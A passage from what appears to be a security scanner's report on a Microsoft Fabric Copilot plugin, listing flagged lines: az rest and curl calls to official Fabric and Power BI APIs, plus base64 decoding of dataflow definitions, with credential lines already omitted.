--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 406
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--resource "https://api.fabric.microsoft.com" \ - Network accessline 408
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 493
$LH_ID = "<lakehouseId>" $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 494
$DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 495
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 497
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 513
# Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 514
$CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 515
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 603
[Convert]::FromBase64String( - Network accessline 632
$WH_ID = "<warehouseId>" $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 633
$DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 634
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 636
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 652
# Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 653
$CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 654
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 744
[Convert]::FromBase64String( - Network accessline 773
# Prerequisites: az login, ADX connection pre-created in portal, database writable. $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY - Network accessline 774
$WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY $ADX_DB = "MyDatabase" - Network accessline 775
$ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/" # Must match connection path EXACTLY - Network accessline 776
$ADX_DB = "MyDatabase" $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 777
$DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1" - Network accessline 778
$RESOURCE = "https://api.fabric.microsoft.com" - Network accessline 780
$PBI_RESOURCE = "https://analysis.windows.net/powerbi/api" - Network accessline 796
# Step 3: Resolve ClusterId $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Network accessline 797
$ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" - Network accessline 798
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" ` - Possible obfuscationline 884
[Convert]::FromBase64String(
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption.md
- Network accessline 91
# Find workspace ID by name WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 92
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 93
--resource "https://api.fabric.microsoft.com" \ - Network accessline 94
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 97
# Find dataflow ID by name within workspace DF_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 98
DF_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 99
--resource "https://api.fabric.microsoft.com" \ - Network accessline 100
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \ - Network accessline 108
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 109
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 110
API="https://api.fabric.microsoft.com/v1" - Network accessline 111
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 123
# 1. List workspaces → find target az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 124
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 127
# 2. List dataflows → enumerate all az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 128
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 132
# 3. Get dataflow properties az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 133
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 139
# "this dataflow has no parameters" and report it plainly — do NOT surface the # raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
# raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/parameters" \ - Network accessline 141
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 145
# 5. Get definition → decode mashup.pq RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 146
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 150
# 6. Check job history az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 151
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 173
- **Always `az login` first** — `az rest` uses the active session. No session → cryptic failure. - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuati - Network accessline 174
- **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuationToken` until absent/null. - **Handle LRO for `getDefinition`** — may return `202 Accepted` with - Network accessline 199
| Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | - Network accessline 200
|---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` on `getDefinition` | Viewer role (Read-only) | Requires Contributor role or higher - Network accessline 201
| `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | - Network accessline 223
az rest --method get \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \ - Network accessline 224
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \ - Network accessline 225
--resource "https://api.fabric.microsoft.com" \ - Network accessline 236
# Step 1: Request definition (POST returns 202 with Location header). # az rest cannot expose response headers, so capture Location via curl + az-acquired token. - Network accessline 237
# az rest cannot expose response headers, so capture Location via curl + az-acquired token. - Network accessline 238
[Credential-related source omitted] - Network accessline 239
LOCATION=$(curl -sS -X POST \ - Network accessline 240
[Credential-related source omitted] - Network accessline 241
"https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/getDefinition" \ - Network accessline 244
# Step 2: Poll until definition is ready DEF=$(az rest --method get --url "${LOCATION}" \ --resource "https://api.fabric.microsoft.com") - Network accessline 245
DEF=$(az rest --method get --url "${LOCATION}" --resource "https://api.fabric.microsoft.com") - Network accessline 246
--resource "https://api.fabric.microsoft.com") - Possible obfuscationline 254
print(base64.b64decode(p['payload']).decode('utf-8')) - Network accessline 265
# Get recent job instances for a dataflow az rest --method get \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \ - Network accessline 266
az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" - Network accessline 267
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \ - Network accessline 268
--resource "https://api.fabric.microsoft.com" \ - Possible obfuscationline 285
meta = json.loads(base64.b64decode(p['payload']).decode('utf-8')) - Network accessline 337
# Step 3: Execute the query (raw Apache Arrow IPC stream is written directly to disk) az rest --method post \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 338
az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" - Network accessline 339
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 340
--resource "https://api.fabric.microsoft.com" \ - Network accessline 465
az rest --method post \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 466
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \ - Network accessline 467
--resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/bar_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/line_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/consumption-cli-quickref.md
- Network accessline 8
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 9
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 10
API="https://api.fabric.microsoft.com/v1" - Network accessline 11
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 28
# List dataflows across all workspaces (iterate) for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 29
for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
# List dataflows az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 94
az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 95
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" ` - Network accessline 98
# Discover parameters az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 99
az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 100
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/parameters" ` - Network accessline 103
# Decode mashup.pq (PowerShell) $response = az rest --method post --resource "https://api.fabric.microsoft.com" ` - Network accessline 104
$response = az rest --method post --resource "https://api.fabric.microsoft.com" ` - Network accessline 105
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" | ConvertFrom-Json - Possible obfuscationline 107
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mashup.payload))
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/discovery-queries.md
- Network accessline 10
# All dataflows with description and type az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 11
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 20
URL="$API/workspaces/$WS_ID/dataflows" while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 21
while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") echo "$RESPONSE" | jq -r '.value[] | [.id, .displayName] | @tsv' - Network accessline 22
RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 36
# Find dataflows across all accessible workspaces for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 37
for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 39
WS_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 41
DATAFLOWS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 55
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 69
# getDefinition may return 202 with Location header HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \ - Network accessline 70
HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \ - Network accessline 71
[Credential-related source omitted] - Network accessline 76
echo "LRO started. Polling $LOCATION ..." while true; do STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 77
while true; do STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$LOCATION" --query "status" -o tsv) - Network accessline 78
STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 83
done # Get the result az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 84
# Get the result az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "${LOCATION}/result" - Network accessline 85
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 93
# Decode mashup.pq and list all shared queries az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 94
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 109
# Decode queryMetadata.json and list connections az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 110
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 119
# Decode queryMetadata.json and classify queries az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 142
# Tabular parameter report az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 151
# Extract parameter definitions from M code az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 152
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 163
# Count jobs by status az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 164
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 172
# Average duration of completed jobs (in seconds) az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 173
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 184
# List all failures with reasons az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 185
az rest --method get --resource "https://api.fabric.microsoft.com" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/script-templates.md
- Network accessline 11
# --- Configuration --- WS_ID="${WS_ID:?Set WS_ID env var (workspace ID)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 13
API="https://api.fabric.microsoft.com/v1" - Network accessline 23
COUNT=0 while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 24
while [ -n "$URL" ]; do RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") echo "$RESPONSE" | jq -r '.value[] | "\(.displayName)\t\(.id)"' - Network accessline 25
RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL") - Network accessline 47
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 48
DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" OUTPUT_DIR="${1:-.}" - Network accessline 49
API="https://api.fabric.microsoft.com/v1" - Network accessline 57
# --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 58
DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 62
# --- Get definition --- echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 63
echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition") - Network accessline 64
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 103
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 104
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" MAX_WAIT="${MAX_WAIT:-3600}" # 60 minutes default - Network accessline 105
API="https://api.fabric.microsoft.com/v1" - Network accessline 112
# --- Get latest job instance --- echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 113
echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \ - Network accessline 114
LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 134
STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 141
Completed|Failed|Cancelled) echo "✓ Job reached terminal state: $STATUS" az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 142
echo "✓ Job reached terminal state: $STATUS" az rest --method get --resource "https://api.fabric.microsoft.com" \ --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \ - Network accessline 143
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 168
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 170
API="https://api.fabric.microsoft.com/v1" - Network accessline 176
# --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 177
DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 182
# --- Discover parameters --- PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 183
PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 212
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 216
do { $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json - Network accessline 217
$response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json - Network accessline 252
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 253
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 288
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($part.payload)) - Network accessline 308
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 309
$jobs = (az rest --method get --resource "https://api.fabric.microsoft.com" ` - Network accessline 342
API="https://api.fabric.microsoft.com/v1" - Network accessline 343
AZ="az rest --resource https://api.fabric.microsoft.com" - Network accessline 406
$API = "https://api.fabric.microsoft.com/v1" - Network accessline 407
$AZ = "az rest --resource https://api.fabric.microsoft.com" - Network accessline 429
try { az rest --method post ` --resource "https://api.fabric.microsoft.com" ` - Network accessline 430
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 431
--resource "https://api.fabric.microsoft.com" ` - Network accessline 496
API="https://api.fabric.microsoft.com/v1" - Network accessline 497
AZ="az rest --resource https://api.fabric.microsoft.com"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade.md
- Network accessline 50
> **Agent check** — verify before first operation: > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" - Network accessline 51
> ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" > jq --version 2>/dev/null || echo "INSTALL: apt-get install jq OR brew install jq" - Network accessline 52
> az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" - Network accessline 62
| API | Audience (`--resource`) | Use For | |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | - Network accessline 63
|---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNa - Network accessline 64
| **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | - Network accessline 65
| **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNativeArtifact`, data sources, upstream dataflows, Admin API scanning | - Network accessline 68
# Fabric Items API — list Gen2 dataflows in a workspace az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 69
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 70
--resource "https://api.fabric.microsoft.com" \ - Network accessline 71
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" - Network accessline 73
# Power BI REST API — list all dataflows (Gen1 + Gen2) in a workspace az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 74
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 75
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 76
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" - Network accessline 78
# Power BI Admin API — list all dataflows tenant-wide (requires admin role) az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 79
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 80
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 81
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" - Network accessline 106
WS_ID="<workspaceId>" RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 107
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 110
ALL_DATAFLOWS=$(az rest --method get \ --resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 111
--resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ --query "value[].{id:objectId, name:name, generation:generation, modelUrl:modelUrl, configuredBy:configuredBy}" -o json) - Network accessline 112
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 129
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 132
ADMIN_DATAFLOWS=$(az rest --method get \ --resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 133
--resource "$RESOURCE_PBI" \ --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ --query "value[].{id:objectId, name:name, workspaceId:workspaceId, modelUrl:modelUrl, configuredBy:configuredBy}" \ - Network accessline 134
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 215
POST https://api.powerbi.com/v1.0/myorg/groups/{groupId}/dataflows/{gen1DataflowId}/saveAsNativeArtifact - Network accessline 235
az rest --method post \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 236
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 237
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \ - Network accessline 329
# Step 1 — Resolve workspace ID WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 330
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 331
--resource "https://api.fabric.microsoft.com" \ - Network accessline 332
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 335
# Step 2 — List all dataflows with generation property ALL_DFS=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 336
ALL_DFS=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 337
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 338
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" -o json) - Network accessline 363
# Execute save-as RESPONSE=$(az rest --method post \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 364
RESPONSE=$(az rest --method post --resource "https://analysis.windows.net/powerbi/api" - Network accessline 365
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 366
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \ - Network accessline 385
# Requires Fabric administrator role ALL_DFS=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 386
ALL_DFS=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 387
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 388
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" -o json)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/risk-assessment-guide.md
- Network accessline 36
# Export the full definition and check for PPI config DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 37
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 38
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 39
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json) - Network accessline 65
# From List Dataflows response — check modelUrl az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 66
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 67
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 68
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \ - Network accessline 77
# Using Admin API — tenant-wide BYOSA detection az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 78
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 79
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 80
--url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \ - Network accessline 108
# Check transaction history for externally triggered refreshes az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 109
az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 110
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 111
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/transactions" \ - Network accessline 135
# List pipelines in the workspace PIPELINES=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 136
PIPELINES=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 137
--resource "https://api.fabric.microsoft.com" \ - Network accessline 138
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataPipelines" \ - Network accessline 165
# Check upstream dataflow dependencies UPSTREAM=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 166
UPSTREAM=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 167
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 168
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/upstreamDataflows" -o json) - Network accessline 174
# Also check the definition for entity references DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 175
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 176
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 177
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json) - Network accessline 204
# Export the definition and check partition modes DEFINITION=$(az rest --method get \ --resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 205
DEFINITION=$(az rest --method get --resource "https://analysis.windows.net/powerbi/api" - Network accessline 206
--resource "https://analysis.windows.net/powerbi/api" \ - Network accessline 207
--url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/upgrade-cli-quickref.md
- Network accessline 10
# Set API audiences RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 11
RESOURCE_FABRIC="https://api.fabric.microsoft.com" - Network accessline 12
RESOURCE_PBI="https://analysis.windows.net/powerbi/api" - Network accessline 13
API_FABRIC="https://api.fabric.microsoft.com/v1" - Network accessline 14
API_PBI="https://api.powerbi.com/v1.0/myorg" - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 251
$workspaces = Invoke-RestMethod -Uri "https://api.fabric.microsoft.com/v1/workspaces" -Headers $headers - Network accessline 253
[Credential-related source omitted] - Network accessline 254
[Credential-related source omitted] - Network accessline 255
$dataflows = Invoke-RestMethod -Uri "https://api.powerbi.com/v1.0/myorg/groups/$wsId/dataflows" -Headers $pbiHeaders
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md
- Network accessline 36
